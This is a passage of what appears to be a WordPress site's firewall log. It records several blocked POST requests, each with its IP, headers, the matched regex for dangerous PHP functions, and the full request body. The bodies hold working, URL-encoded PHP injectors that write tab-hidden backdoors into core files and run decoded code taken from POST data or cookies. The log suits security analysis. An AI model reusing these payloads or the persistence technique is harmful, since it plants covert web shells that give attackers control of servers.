Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3687\nsec-fetch-user:?1\n\nFm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:49:17","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\nsec-fetch-user:?1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\ncontent-length:3710\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:49:48","54.36.177.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEHHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3248\nsec-fetch-user:?1\n\nEE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:50:04","107.155.87.193","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ut:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqKDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3248\nhost:dewenlabels.com\n\nut=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:50:09","172.86.89.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Caption.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B6%255D%2528%2529.%2524p%255B8%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B7%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B15%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B27%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%